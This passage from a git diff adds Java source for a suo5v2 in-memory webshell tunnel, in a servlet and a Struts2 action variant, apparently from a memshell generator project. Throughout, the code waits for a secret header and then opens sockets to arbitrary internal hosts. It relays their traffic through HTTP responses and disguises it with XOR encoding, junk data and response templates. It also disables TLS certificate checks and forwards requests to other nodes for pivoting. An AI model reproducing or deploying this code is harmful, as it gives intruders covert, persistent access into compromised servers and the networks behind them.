modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Servlet(tunId, 1)).start(); + new Thread(new Suo5v2Servlet(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java new file mode 100644 index 00000000..05734db0 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java @@ -0,0 +1,1174 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Method; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Struct2Action() { + } + + public Suo5v2Struct2Action(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Struct2Action(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + public void execute() throws Exception { + try { + Class clazz = Class.forName("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + Method getMethod = clazz.getMethod("get", String.class); + HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Struct2Action().process(request, response); + } + } catch (Throwable ignored) { + } + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if 